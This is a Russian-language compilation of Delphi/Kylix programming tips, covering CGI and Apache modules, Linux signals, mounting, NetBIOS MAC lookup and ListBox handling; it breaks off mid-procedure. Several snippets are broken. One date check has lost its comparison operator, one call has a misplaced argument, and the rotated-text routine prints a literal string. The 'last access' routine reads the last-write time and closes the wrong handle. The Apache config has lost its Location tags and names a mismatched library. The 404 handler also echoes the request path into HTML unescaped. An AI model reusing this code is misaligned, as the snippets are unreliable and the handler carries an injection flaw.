Статус-код 301 сообщает клиенту о необходимости перенаправить запрос по новому адресу. А что произойдет, если клиент пошлет запрос на выполнение действия, которое не определено в CGI-приложении, например frenchwines/querydb ? В этом случает Kylix-приложение сгенерирует исключение и Web-сервер выдаст неприятное сообщение о внутренней ошибке. Для того, чтобы обращение к неопределенному действию не приводило к исключительной ситуации, необходимо создать еще одно действие и присвоить свойству Default соответствующего объекта TWebActionItem значение True. Теперь это действие будет вызываться для всех запросов, вызывающих неопределенные действия. Обработчик события OnAction этого действия может выглядеть следующим образом:

procedure TWebModule1.WebModule1WebActionItem4Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Title := 'Resource Not Found';
  Response.StatusCode := 404;
  Response.Content := '<HTML><BODY><H2>Error 404</H2><P>Requested resource "'
    + Request.InternalScriptName + Request.PathInfo + '" is not found on this server. </BODY> </HTML>';
end;

Шаблон может быть задан в свойстве HTMLDoc (в виде набора строк) или в свойстве HTMLFile (как имя файла). Для получения HTML страницы, построенной на основе шаблона, никаких специальных команд вызывать не нужно. Необходимо лишь прочитать свойство Content компонента TPageProducer. При этом функция, лежащая в основе свойства Content, анализирует заданный шаблон и всякий раз, когда в шаблоне встречается тэг, описанный выше, вызывает обработчик события OnHTMLTag, которому передается информация о тэге, вызвавшем событие. Обработчик события OnHTMLTag обычно возвращает строку, которой следует заменить соответствующий тэг в готовой странице. Таким образом, при обращении к свойству content возвращается строка HTML команд, в которой прозрачные тэги уже заменены динамическими значениями. При использовании компонента TPageProducer, обработчик события OnAction, возвращающий клиенту динамическую страницу, мог бы выглядеть следующим образом:

procedure TWebModule1.WebModule1WebActionItem4Action(Sender: TObject; Request:
  TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Content := PageProducer1.Content;
end;

Код выглядит очень просто, однако все можно упростить еще больше. Если все, что нужно сделать в ответ на запрос, это передать страницу, созданную компонентом-генератором контента, можно вообще обойтись без обработчика OnAction. Достаточно присвоить свойству Producer соответствующего объекта TWebActionItem ссылку на компонент-генератор. Специально для отображения содержимого баз данных в Kylix и Delphi существуют еще три компонента-генератора Web-страниц: TDataSetTableProducer, TSQLQueryTableProducer и TDataSetPageProducer. Компонент TDataSetTableProducer генерирует HTML страницу, на которой записи из базы данных отображаются в виде таблицы. Для того, чтобы связать компонент TDataSetTableProducer с базой данных, необходимо указать соответствующее значение в свойстве DataSet. HTML-страница генерируется при обращении к свойству Content, также, как и в случае с TPageProducer. Компонент TDataSetTableProducer обладает множеством свойств, позволяющих задать различные элементы и внешний вид генерируемой страницы. Событие OnFormatCell, возникающее в процессе генерации страницы, позволяет динамически форматировать отдельные ячейки создаваемой таблицы.

Рассмотренные в предыдущей части приложения используют универсальный интерфейс CGI и могут работать совместно с любым Web-сервером. Web-сервер Apache позволяет также использовать модули, обладающие более широкой функциональностью. Модули могут быть скомпилированы как часть ядра Apache или же реализованы в виде разделяемых библиотек. Borland Kylix позволяет создавать только модули в виде разделяемых библиотек. Для того, чтобы сервер Apache мог подключать разделяемые библиотеки, необходимо пересобрать ядро сервера, установив опцию, разрешающую загрузку разделяемых модулей. Для пересборки ядра вам потребуются исходные тексты apache (скачать их можно с www.apache.org ). Распакуйте архив дистрибутива и в коневом каталоге дистрибутива создайте файл config.status, содержащий следующий текст:

#!/bin/sh 
LIBS="/usr/lib/libpthread.so" \ 
./configure \ 
"--with-layout=Apache" \ 
"--enable-module=so" \ 
"--enable-rule=SHARED_CORE" \ 
"$@" 

Теперь можно перейти к написанию простейшего модуля. Для создания заготовки модуля Apache в Kylix в окне New выберите элемент Web Server Application и в открывшемся диалоговом окне – пункт Apache shared module (DSO). Kylix создаст новый проект и в нем Web-модуль, аналогичный Web-модулю CGI-приложения. Разработка модулей для Apache практически аналогична разработке CGI-приложений. Сохраните ваш модуль под именем apachedemo. Создайте новое действие (при помощи свойства Actions объекта TWebModule1 и назначьте следующий обработчик событию OnAction созданного объекта-действия:

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Content := '<HTML><BODY><H2>Delphi World! </H2> </BODY> </HTML>';
end;

Откройте окно исходного текста проекта (Project|View Source) и отредактируйте текст, так чтобы он выглядел следующим образом:

library apachedemo;
uses
  WebBroker, HTTPD, ApacheApp, Main in 'Main.pas' {WebModule1: TWebModule};
exports
  apache_module name 'hello_module';
begin
  ModuleName := 'Hello_Module';
  ContentType := 'hello-handler';
  Application.Initialize;
  Application.CreateForm(TWebModule1, WebModule1);
  Application.Run;
end.

Модуль для сервера готов! Скомпилируйте проект. В результате компиляции должен быть создан файл libapachedemo.so. Скопируйте этот файл в каталог разделяемых модулей сервера Apache (если сервер был установлен в каталог /usr/local/apache/, каталогом разделяемых модулей будет /usr/local/apache/libexec. Далее внесите следующие строки в файл httpd.conf:

LoadModule hello_module libexec/libHelloModule.so 
 
SetHandler hello-handler 
  

После директивы LoadModule следует имя модуля (указанное в директиве exports библиотеки) и путь к файлу, в котором размещен модуль. Команда Location позволяет задать URL, соответствующую обработчику hello-handler. Для того, чтобы проверить работу модуля, перезапустите Web-сервер и в окне броузера наберите:

http://localhost/hello. 

Теперь рассмотрим более интересный пример. Допустим, на вашем Web-сервере размещены файлы с исходными текстами Kylix-программ (файлы *.pas и *.dpr) и вы хотите, чтобы пользователям эти файлы передавались не в текстовом формате, а в формате HTML, с разметкой синтаксиса, характерной для Delphi и Kylix. Конечно, эту проблему можно решить, конвертируя все файлы исходных текстов в формат HTML перед размещением их на сервере, но мы пойдем другим путем. Файлы исходных текстов размещаются на сервере в обычном текстовом формате, а специальный модуль сервера Apache будет конвертировать их в формат HTML "налету", перед посылкой клиенту. Исходный текст модуля находится здесь. Текстовый файл reserved содержит список зарезервированных слов (которые выделяются жирным шрифтом). Скопируйте этот файл в какой-нибудь каталог (например /usr/local/apache/libexec/) и укажите путь к этому файлу в константе ReservedPath в файле main.pas. Скомпилируйте проект и скопируйте полученную библиотеку libpas2html.so в каталог libexec. В файл httpd.conf добавьте следующие строки:

LoadModule pas2html_module libexec/libpas2html.so 
AddType text/html .pas 
AddHandler pas2html-handler .pas 
AddType text/html .dpr 
AddHandler pas2html-handler .dpr 

После этого следует перезапустить Web-сервер. Теперь все файлы с расширениями .pas и .dpr, находящиеся в Web-подкаталогах, будут автоматически конвертироваться в формат HTML перед посылкой клиенту.

Как перехватывать kernel-signals.

Автор: http://www.swissdelphicenter.ch

program TestSignals;
{$APPTYPE CONSOLE}
uses
  Libc;
var
  bTerminate: Boolean;
procedure SignalProc(SigNum: Integer); cdecl;
begin
  case SigNum of
    SIGQUIT:
      begin
        WriteLn('signal SIGQUIT');
        bTerminate := true;
      end;
    SIGUSR1: WriteLn('signal SIGUSR1');
  else
    WriteLn('not handled signal');
  end;
  signal(SigNum, SignalProc); // catch the signal again
end;
begin
  bTerminate := false;
  signal(SIGQUIT, SignalProc);
    // catch the signal SIGQUIT to procedure SignalProc
  signal(SIGUSR1, SignalProc);
    // catch the signal SIGUSR1 to procedure SignalProc
  repeat
    sleep(1);
  until bTerminate;
end.

Как сделать mount.

Автор: http://www.swissdelphicenter.ch

{
  The following example shows a Linux-Console application, which mount
  the floppy.
 }
program Project1;
{$APPTYPE CONSOLE}
uses
  Libc;
begin
  if mount('/dev/fd0', '/mnt/floppy', 'vfat', MS_RDONLY, nil) = -1 then
    WriteLn('Mount return : ', Errno, '(', strerror(errno), ')')
  else
    WriteLn('Floppy mounted');
end.

Как нарисовать повёрнутый текст.

Автор: http://www.swissdelphicenter.ch

uses
  QT;
procedure TForm1.RotatedText(Cnv: TCanvas; Wkl: Integer;
  Pxy: TPoint; Txt: string);
var
  PrPoint: TPoint;
begin
  // Rotate Canvas
  QPainter_rotate(Cnv.Handle, Wkl);
  // Convert Device Coord. to Modell- Coord.
  QPainter_xFormDev(Cnv.Handle, PPoint(@PrPoint),
    PPoint(@Pxy));
  // Write text.
  Canvas.TextOut(PrPoint.X, PrPoint.Y, 'Txt');
end;

Как запустить другое приложение.

Автор: http://www.swissdelphicenter.ch

uses
  libc;
procedure TForm1.Button1Click(Sender: TObject);
var
  iPrg: Integer;
begin
  //Execute kcalc - A calculator for KDE
  iPrg := libc.system('kcalc');
  if iPrg = -1 then
    ShowMessage('Error executing your program');
end;

Как получить имя текущего пользователя.

Автор: http://www.swissdelphicenter.ch

function GetCurrentUser: string;
var
  pwrec: PPasswordRecord;
begin
  pwrec := getpwuid(getuid);
  Result := pwrec.pw_name;
end;

Как использовать ресурсы.

Автор: http://www.swissdelphicenter.ch

{
  To create resource files (*.res) for Kylix you can use the Delphi
  brcc32.exe resource compiler.
  Take a look at ;http://www.swissdelphicenter.ch/en/showcode.php?id=1049
  Kylix dont support userdefined resourcetypes. Therefore you have to define
  all resources without a predefined ResType as RCDATA.
  Example with TResourceStream
  Saves the resource (in userdefined.res) with the name MYRES1 to the file
  test.txt
 }
uses
  SysUtils, Types, Classes, Variants, QGraphics, QControls, QForms, QDialogs,
  QStdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;
var
  Form1: TForm1;
implementation
{$R *.xfm}
{$R userdefined.res}
procedure TForm1.Button1Click(Sender: TObject);
var
  stream: TResourceStream;
begin
  stream := TResourceStream.Create(HInstance, 'MYRES1', RT_RCDATA);
  with TFileStream.Create('test.txt', fmCreate) do
  begin
    CopyFrom(stream, stream.Size);
    Free;
  end;
end;

3D-рамка для текстовых компонентов.

Один из примеров создания текстового компонента с трехмерной декоративной контурной рамкой (для создания компонента потребовалось около получаса. Он демонстрирует только принцип получения рамки. Я не стал колдовать над свойствами типа ParentFont..., т.к. это заняло бы еще немало времени и места).

unit IDSLabel;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs,
  ExtCtrls;
type
  TIDSLabel = class(TBevel)
  private
    { Private declarations }
    FAlignment: TAlignment;
    FCaption: string;
    FFont: TFont;
    FOffset: Byte;
    FOnChange: TNotifyEvent;
    procedure SetAlignment(taIn: TAlignment);
    procedure SetCaption(const strIn: string);
    procedure SetFont(fntNew: TFont);
    procedure SetOffset(bOffNew: Byte);
  protected
    { Protected declarations }
    constructor Create(compOwn: TComponent); override;
    destructor Destroy; override;
    procedure Paint; override;
  public
    { Public declarations }
  published
    { Published declarations }
    property Alignment: TAlignment read FAlignment write SetAlignment default
      taLeftJustify;
    property Caption: string read FCaption write SetCaption;
    property Font: TFont read FFont write SetFont;
    property Offset: Byte read FOffset write SetOffset;
    property OnChange: TNotifyEvent read FOnChange write FOnChange;
  end;
implementation
constructor TIDSLabel.Create;
begin
  inherited Create(compOwn);
  FFont := TFont.Create;
  with compOwn as TForm do
    FFont.Assign(Font);
  Offset := 4;
  Height := 15;
end;
destructor TIDSLabel.Destroy;
begin
  FFont.Free;
  inherited Destroy;
end;
procedure TIDSLabel.Paint;
var
  wXPos, wYPos: Word;
begin
  {Рисуем рамку}
  inherited Paint;
  {Назначаем шрифт}
  Canvas.Font.Assign(Font);
  {Вычисляем вертикальную позицию}
  wYPos := (Height - Canvas.TextHeight(Caption)) div 2;
  {Вычисляем горизонтальную позицию}
  wXPos := Offset;
  case Alignment of
    taRightJustify: wXPos := Width - Canvas.TextWidth(Caption) - Offset;
    taCenter: wXPos := (Width - Canvas.TextWidth(Caption)) div 2;
  end;
  Canvas.Brush := Parent.Brush;
  Canvas.TextOut(wXPos, wYPos, Caption);
end;
procedure TIDSLabel.SetAlignment;
begin
  FAlignment := taIn;
  Invalidate;
end;
procedure TIDSLabel.SetCaption;
begin
  FCaption := strIn;
  if Assigned(FOnChange) then
    FOnChange(Self);
  Invalidate;
end;
procedure TIDSLabel.SetFont;
begin
  FFont.Assign(fntNew);
  Invalidate;
end;
procedure TIDSLabel.SetOffset;
begin
  FOffset := bOffNew;
  Invalidate;
end;
end.

Библиотека для работы с LAN.

Оформил: DeeCo

Автор: Alex.

unit NetProcs;
interface
uses Classes, Windows;
type
  TAdapterStatus = record
    adapter_address: array[0..5] of Char;
    filler: array[1..4 * SizeOf(Char) + 19 * SizeOf(Word)
    + 3 * SizeOf(DWORD)] of Byte;
  end;
  THostInfo = record
    username: PWideChar;
    logon_domain: PWideChar;
    oth_domains: PWideChar;
    logon_server: PWideChar;
  end; {record}
function IsNetConnect: Boolean;
{Возвращает TRUE если компьютер подключен к сети, иначе - FALSE}
function AdapterToString(Adapter: TAdapterStatus): string;
{Преобразует MAC адес в привычный xx-xx-xx-xx}
function GetMacAddresses(const Machine: string;
  const Addresses: TStrings): Integer;
{Заполняет Addresses MAC-адресами компьютера с сетевым именем  Machine.
 Возвращает число МАС адресов на компьютере}
function GetNetUser(HostName: WideString): THostInfo;
{Возвращает LOGIN текущего пользователя на HOSTNAME компьютере}
implementation
uses NB30, SysUtils;
function IsNetConnect: Boolean;
begin
  if GetSystemMetrics(SM_NETWORK) and $01 = $01 then
    Result := True
  else
    Result := False;
end; {function}
function AdapterToString(Adapter: TAdapterStatus): string;
begin
  with Adapter do
    Result :=
      Format('%2.2x-%2.2x-%2.2x-%2.2x-%2.2x-%2.2x', [
      Integer(adapter_address[0]), Integer(adapter_address[1]),
        Integer(adapter_address[2]), Integer(adapter_address[3]),
        Integer(adapter_address[4]), Integer(adapter_address[5])]);
end; {function}
function GetMacAddresses(const Machine: string;
  const Addresses: TStrings): Integer;
const
  NCBNAMSZ = 16; // absolute length of a net name
  MAX_LANA = 254; // lana's in range 0 to MAX_LANA inclusive
  NRC_GOODRET = $00; // good return
  NCBASTAT = $33; // NCB ADAPTER STATUS
  NCBRESET = $32; // NCB RESET
  NCBENUM = $37; // NCB ENUMERATE LANA NUMBERS
type
  PNCB = ^TNCB;
  TNCBPostProc = procedure(P: PNCB); stdcall;
  TNCB = record
    ncb_command: Byte;
    ncb_retcode: Byte;
    ncb_lsn: Byte;
    ncb_num: Byte;
    ncb_buffer: PChar;
    ncb_length: Word;
    ncb_callname: array[0..NCBNAMSZ - 1] of Char;
    ncb_name: array[0..NCBNAMSZ - 1] of Char;
    ncb_rto: Byte;
    ncb_sto: Byte;
    ncb_post: TNCBPostProc;
    ncb_lana_num: Byte;
    ncb_cmd_cplt: Byte;
    ncb_reserve: array[0..9] of Char;
    ncb_event: THandle;
  end;
  PLanaEnum = ^TLanaEnum;
  TLanaEnum = record
    length: Byte;
    lana: array[0..MAX_LANA] of Byte;
  end;
  ASTAT = record
    adapt: TAdapterStatus;
    namebuf: array[0..29] of TNameBuffer;
  end;
var
  NCB: TNCB;
  Enum: TLanaEnum;
  I: Integer;
  Adapter: ASTAT;
  MachineName: string;
begin
  Result := -1;
  Addresses.Clear;
  MachineName := UpperCase(Machine);
  if MachineName = '' then
    MachineName := '*';
  FillChar(NCB, SizeOf(NCB), #0);
  NCB.ncb_command := NCBENUM;
  NCB.ncb_buffer := Pointer(@Enum);
  NCB.ncb_length := SizeOf(Enum);
  if Word(NetBios(@NCB)) = NRC_GOODRET then
  begin
    Result := Enum.Length;
    for I := 0 to Ord(Enum.Length) - 1 do
    begin
      FillChar(NCB, SizeOf(TNCB), #0);
      NCB.ncb_command := NCBRESET;
      NCB.ncb_lana_num := Enum.lana[I];
      if Word(NetBios(@NCB)) = NRC_GOODRET then
      begin
        FillChar(NCB, SizeOf(TNCB), #0);
        NCB.ncb_command := NCBASTAT;
        NCB.ncb_lana_num := Enum.lana[i];
        StrLCopy(NCB.ncb_callname, PChar(MachineName), NCBNAMSZ);
        StrPCopy(@NCB.ncb_callname[Length(MachineName)],
          StringOfChar(' ', NCBNAMSZ - Length(MachineName)));
        NCB.ncb_buffer := PChar(@Adapter);
        NCB.ncb_length := SizeOf(Adapter);
        if Word(NetBios(@NCB)) = NRC_GOODRET then
          Addresses.Add(AdapterToString(Adapter.adapt));
      end;
    end;
  end;
end; {function}
function
  NetWkstaUserEnum(servername: PWideChar;
  level: DWord;
  var bufptr: Pointer;
  prefmaxlen: DWord;
  var entriesread: PDWord;
  var totalentries: PDWord;
  var resumehandle: PDWord): LongInt;
  stdcall; external 'netapi32.dll' name 'NetWkstaUserEnum';
function GetNetUser(HostName: WideString): THostInfo;
var
  Info: Pointer;
  ElTotal: PDWord;
  ElCount: PDWord;
  Resume: PDWord;
  Error: LongInt;
begin
  Resume := 0;
  NetWkstaUserEnum(PWideChar(HostName), 1, Info, 0,
    ElCount, ElTotal, Resume);
  Error := NetWkstaUserEnum(PWideChar(HostName), 1, Info, 256 *
    Integer(ElTotal),
    ElCount, ElTotal, Resume);
  case Error of
    ERROR_ACCESS_DENIED: Result.UserName := 'ERROR - ACCESS DENIED';
    ERROR_MORE_DATA: Result.UserName := 'ERROR - MORE DATA';
    ERROR_INVALID_LEVEL: Result.UserName := 'ERROR - INVALID LEVEL';
  else if Info <> nil then
    Result := THostInfo(info^)
  else
  begin
    Result.username := '???';
    Result.logon_domain := '???';
    Result.oth_domains := '???';
    Result.logon_server := '???';
  end; {if}
  end; {case}
end; {function}
end.

Как выяснить дату последнего доступа к файлу.

Данная процедура, позволяет узнать дату последнего доступа к файлу, код не проверял, но говорят работает. Для тех кто не знает что с этим делать намекну, можно использовать для создания триального реиода или просто отслеживания доступа к компьютеру.

procedure TForm1.Button1Click(Sender: TObject);
var
  FileHandle: THandle;
  LocalFileTime: TFileTime;
  DosFileTime: DWORD;
  LastAccessedTime: TDateTime;
  FindData: TWin32FindData;
begin
  FileHandle := FindFirstFile('AnyFile.FIL', FindData);
  if FileHandle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(Handle);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    begin
      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
      FileTimeToDosDateTime(LocalFileTime,
        LongRec(DosFileTime).Hi, LongRec(DosFileTime).Lo);
      LastAccessedTime := FileDateToDateTime(DosFileTime);
      Label1.Caption := DateTimeToStr(LastAccessedTime);
    end;
  end;
end;

Последний день месяца.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function LastDayOfCurrentMonth: TDate;
 var
   y, m, d: Word;
 begin
   DecodeDate(now, y, m, d);
   m := m + 1;
   if m  12 then
   begin
     y := y + 1;
     m := 1;
   end;
   Result := EncodeDate(y, m, 1) - 1;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowMessage(DateToStr(LastDayOfCurrentMonth));
 end;

Получить позицию последнего вхождения подстроки в строку.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

 { 
  Letzte Position von SubStr in S ermitteln. 
  Returns the last occurence of SubStr in S. 
}
 function LastPos(SubStr, S: string): Integer;
 var
   Found, Len, Pos: integer;
 begin
   Pos := Length(S);
   Len := Length(SubStr);
   Found := 0;
   while (Pos > 0) and (Found = 0) do
   begin
     if Copy(S, Pos, Len) = SubStr then
       Found := Pos;
     Dec(Pos);
   end;
   LastPos := Found;
 end;

Получить позицию последнего вхождения подстроки в строку 2.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

 // by Manuel Wiersch 
 function LastPos(const SubStr: AnsiString; const S: AnsiString): LongInt;
 asm
         TEST    EAX,EAX         // EAX auf 0 prufen (d.h. SubStr = nil) 
        JE      @@noWork        // wenn EAX = 0 dann Sprung zu noWork 
        TEST    EDX,EDX
         // Test ob S = nil 
        JE      @@stringEmpty   // bei Erfolg -> Sprung zum Label 'stringEmpty' 
        PUSH    EBX
         PUSH    ESI
         PUSH    EDI             // Register auf dem Stack sichern  Grund: OH 
                                // OH: "In einer asm-Anweisung mu? der Inhalt 
                                // der Register EDI, ESI, ESP, EBP und EBX 
                                // erhalten bleiben (dh. vorher auf dem Stack 
                                // speichern)         MOV     ESI, EAX 
                                // ESI = Sourceindex      -> Adresse vom SubStr 
        MOV     EDI, EDX        // EDI = Destinationindex -> Adresse von S 
        MOV     ECX,[EDI-4]     // Lange von S  ins Zahlregister 
        MOV     EDX,[ESI-4]     // Lange des SubStr in EDX 
        DEC     EDX             // Length(SubStr) - 1 
        JS      @@fail
         // Vorzeichenbedingter Sprung (JumpIfSign) 
                                // d.h. (EDX < 0) -> Sprung zu 'fail' 
        STD;                    // SetDirectionFlag -> Stringroutinen von hinten 
                                // abarbeiten 
        ADD     ESI, EDX        // Pointer auf das letzte Zeichen vom SubStr 
        ADD     EDI, ECX
         DEC     EDI             // Pointer auf das letzte Zeichen von S 
        MOV     AL, [ESI]       // letztes Zeichen des SubStr in AL laden 
        DEC     ESI             // Pointer auf das vorletzte Zeichen setzen. 
        SUB     ECX, EDX        // Anzahl der Stringdurchlaufe 
                                // = Length(s) - Length(substr) + 1 
        JLE     @@fail          // Sprung zu 'fail' wenn ECX <= 0 
@@loop:
         REPNE   SCASB           // Wdh. solange ungleich (repeat while not equal) 
                                // scan string for byte 
        JNE     @@fail
         MOV     EBX,ECX         { Zahleregister, ESI und EDI sichern, da nun der 
                                  Vergleich durchgefuhrt wird ob die nachfolgenden 
                                  Zeichen von SubStr in S vorhanden sind }
         PUSH    ESI
         PUSH    EDI
         MOV     ECX,EDX         // Lange des SubStrings in ECX 
        REPE    CMPSB           // Solange (ECX > 0) und (Compare string fo byte) 
                                // dh. solange S[i] = SubStr[i] 
        POP     EDI
         POP     ESI             // alten Source- und Destinationpointer vom Stack holen 
        JE      @@found         // Und schon haben wir den Index da ECX = 0 
                                // dh. alle Zeichen wurden gefunden 
        MOV     ECX, EBX        // ECX wieder auf alte Anzahl setzen und 
        JMP     @@loop          // Start bei 'loop' 
@@fail:
         XOR     EAX,EAX         // EAX auf 0 setzen 
        JMP     @@exit @@stringEmpty:
         XOR     EAX,EAX
         JMP     @@noWork @@found:
         MOV     EAX, EBX        // in EBX steht nun der aktuelle Index 
        INC     EAX             // um 1 erhohen, um die Position des 1. Zeichens zu 
                                // bekommen 
@@exit:
         POP     EDI
         POP     ESI
         POP     EBX
 @@noWork:         CLD;          // DirectionFlag loschen 
end;

Взять часть URL, которая следует после названия сайта.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  InternetCrackUrl() takes a URL as a parameter and breaks it down into components, 
  which are then accessible via the TURLComponents structure. 
  InternetCrackUrl() zerlegt eine URL in seine Komponenten, welche dann ььег die 
  TURLComponents Struktur zиgдng1iсh sind. 
}
 uses
   WinInet;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   aURLC: TURLComponents;
 const
   TEST_URL = 'http://www.swissdelphicenter.ch/de/tipsindex.php';
 begin
   FillChar(aURLC, SizeOf(TURLComponents), 0);
   with aURLC do
   begin
     lpszScheme := nil;
     dwSchemeLength := INTERNET_MAX_SCHEME_LENGTH;
     lpszHostName := nil;
     dwHostNameLength := INTERNET_MAX_HOST_NAME_LENGTH;
     lpszUserName := nil;
     dwUserNameLength := INTERNET_MAX_USER_NAME_LENGTH;
     lpszPassword := nil;
     dwPasswordLength := INTERNET_MAX_PASSWORD_LENGTH;
     lpszUrlPath := nil;
     dwUrlPathLength := INTERNET_MAX_PATH_LENGTH;
     lpszExtraInfo := nil;
     dwExtraInfoLength := INTERNET_MAX_PATH_LENGTH;
     dwStructSize := SizeOf(aURLC);
   end;
   if InternetCrackUrl(PChar(TEST_URL), Length(TEST_URL), 0, aURLC) then
   begin
     ShowMessage(aURLC.lpszUrlPath);
   end;
 end;

Как отловить изменение раскладки клавиатуры.

Нужно ловить сообщение WM_INPUTLANGCHANGEREQUEST.

Или.

procedure TForm1.Timer1Timer(Sender: TObject);
var
  Layout: array [0.. KL_NAMELENGTH] of char;
begin
  GetKeyboardLayoutName(Layout);
  if Layout = '00000409' then
    label1.caption:='en'
  else
    label1.caption:='ru';
end;

Копирование выделеных строк из Listbox1 в Listbox2.

Автор: Black_phoenix WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> копирование выделеных строк из listbox1 в listbox2
Зависимости: Windows, SysUtils, Classes, Controls, StdCtrls
Автор:       Black_phoenix, Black_phoenix@rambler.ru, Almaty
Copyright:
Дата:        30 апреля 2003 г.
***************************************************** }
public
  function GetFirstSelection(List: TCustomListBox): Integer;
  procedure MoveSelected(List: TCustomListBox; Items: TStrings);
  procedure SetItem(List: TListBox; Index: Integer);
implementation
function tform1.GetFirstSelection(List: TCustomListBox): Integer;
begin
  for Result := 0 to List.Items.Count - 1 do
    if List.Selected[Result] then
      Exit;
  Result := LB_ERR;
end;
procedure tform1.MoveSelected(List: TCustomListBox; Items: TStrings);
var
  I: Integer;
begin
  for I := List.Items.Count - 1 downto 0 do
    if List.Selected[I] then
    begin
      Items.AddObject(List.Items[I], List.Items.Objects[I]);
      // List.Items.Delete(I); // можно оставить если вы хотите чтобы в 1 списке строки удалились
    end;
end;
procedure tform1.SetItem(List: TListBox; Index: Integer);
var
  MaxIndex: Integer;
begin
  with List do
  begin
    SetFocus;
    MaxIndex := List.Items.Count - 1;
    if Index = LB_ERR then
      Index := 0
    else if Index > MaxIndex then
      Index := MaxIndex;
    Selected[Index] := True;
  end;
end;
// Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
  Index: Integer;
begin
  Index := GetFirstSelection(listbox1);
  MoveSelected(listbox1, listbox2.Items);
  SetItem(listbox1, Index);
end;

Добавить новые строки в TListBox с прокруткой до конца.

Автор: BadBoy WEB-сайт: http://delphibase.endimus.com

procedure addmsg(str: string);
begin
  if str <> '' then
  begin
    ListBox.Items.Add(str);
    ListBox.Perform(LB_SETTOPINDEX, Pred(ListBox.Items.Count), 0);
  end;
end;

Выравнивание в ListBox.

Перед тем, как вычислить позицию фразы, необходимо с помощью функции TextWidth вычислить ее ширину.

var
  J, TempInt, LongPrefixLen, CurrPrefixLen: Integer;
begin
  {Вычисляем TextWidth по ключевой строке}
  {Устанавливаем CurrPrefixLen в TextWidth ключевого слова
  строки Indexth}
  LongPrefixLen := 0;
  for J := 0 to ListBox1.Items.Count - 1 do
    with ListBox1.Canvas do
    begin
      TempInt := TextWidth(Copy(Items[J], 1, Pos(KeyString, Items[J] - 1)));
      if LongPrefixLen < TempInt then
        LongPrefixLen := TempInt;
      if J = Index then
        CurrPrefixLen := TempInt;
    end;
  {PrevTextLeft - TextLeft = Где мы хотим вывести новый элемент}
  TextOut(LongPrefixLen - CurrPrefixLen, Y, Items[I]);
end;

Внешние данные и ListBox.

Чтобы воспользоваться новым стилем, вам нужно создать новый класс-наследник от TListbox и перекрыть метод CreateParams.

Быстрая отрисовка BitMap в компоненте TListBox.

Примечание: В данном примере IMAGE_NORMAL, IMAGE_MESSAGE и IMAGE_AUTOANS константы, определяющие какое именно изображение надо рисовать в зависимости от значения функции (собственной) GetUserStatus.

procedure TMain.UserListDrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
begin
  with TCustomListBox(Control) do
  begin
    Canvas.FillRect(Rect);
    // Вывод самого текста текущего Item-а списка со сдвигом, чтобы освободить
    // место для изображения
    Canvas.TextOut(Rect.Left + 2 + ImageList.Height, Rect.Top + 3,
      Items[Index]);
    Rect.Bottom := Rect.Top + ImageList.Height; // перерисовывать только
    Rect.Right := Rect.Left + ImageList.Width; // часть , на которой картинка
    Rect.Top := Rect.Top + 2;
    // по состоянию юзера перерисовывается изображение
    case GetUserStatus(Index) of
      suNormal: ImageList.Draw(Canvas, Rect.Left, Rect.Top, IMAGE_NORMAL);
      suMessage: ImageList.Draw(Canvas, Rect.Left, Rect.Top, IMAGE_MESSAGE);
      suAutoans: ImageList.Draw(Canvas, Rect.Left, Rect.Top, IMAGE_AUTOANS);
    end; // Case
  end; // With
end;

Поиск в списке любого слова или буквы.

Автор: Лагуткин Денис.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    Edit1: TEdit;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
  a: Integer = 0;
implementation
{$R *.dfm}
function UpCaseAll(x: string): string;
var
  b, w: integer;
  str: string;
begin
  for w := 1 to length(x) do
  begin
    b := ord(x[w]);
    case b of
      0..96: x[w] := chr(b);
      97..122: x[w] := UpCase(chr(b));
      123..183: x[w] := chr(b);
      184: x[w] := chr(168);
      185..223: x[w] := chr(b);
      224..255:
        begin
          b := b - (Ord('а') - Ord('А'));
          x[w] := chr(b);
        end;
    end;
    str := str + x[w];
  end;
  UpCaseAll := str;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  st, st1: string;
  f, i: integer;
begin
  st := UpCaseAll(Edit1.Text);
  if st <> '' then
  begin
    for i := a to listbox1.Count - 1 do
    begin
      st1 := UpCaseAll(Listbox1.Items.Strings[i]);
      repeat
        f := POS(st, st1);
        if f <> 0 then
        begin
          Listbox1.ItemIndex := i;
          a := i + 1;
          exit;
        end;
      until f = 0;
    end;
    a := 0;
  end;
end;
end.

Как показать Hint для частично видимых элементов ListBox.

procedure TForm1.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
const
  oldidx : Longint = -1;
var
  idx : Longint;
begin
  with Sender as TListBox do begin
    idx := ItemAtPos(Point(x,y),True);
    if (idx < 0) or (idx = oldidx) then Exit;
    Application.ProcessMessages; 
    Application.CancelHint;
    oldidx := idx;
    Hint := '';
    if Canvas.TextWidth(Items[idx]) > Width - 4 then Hint:=Items[idx];
  end;
end;

Или.

procedure TfmDWMain.lbSearchMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var
  ItemNum: Integer;
begin
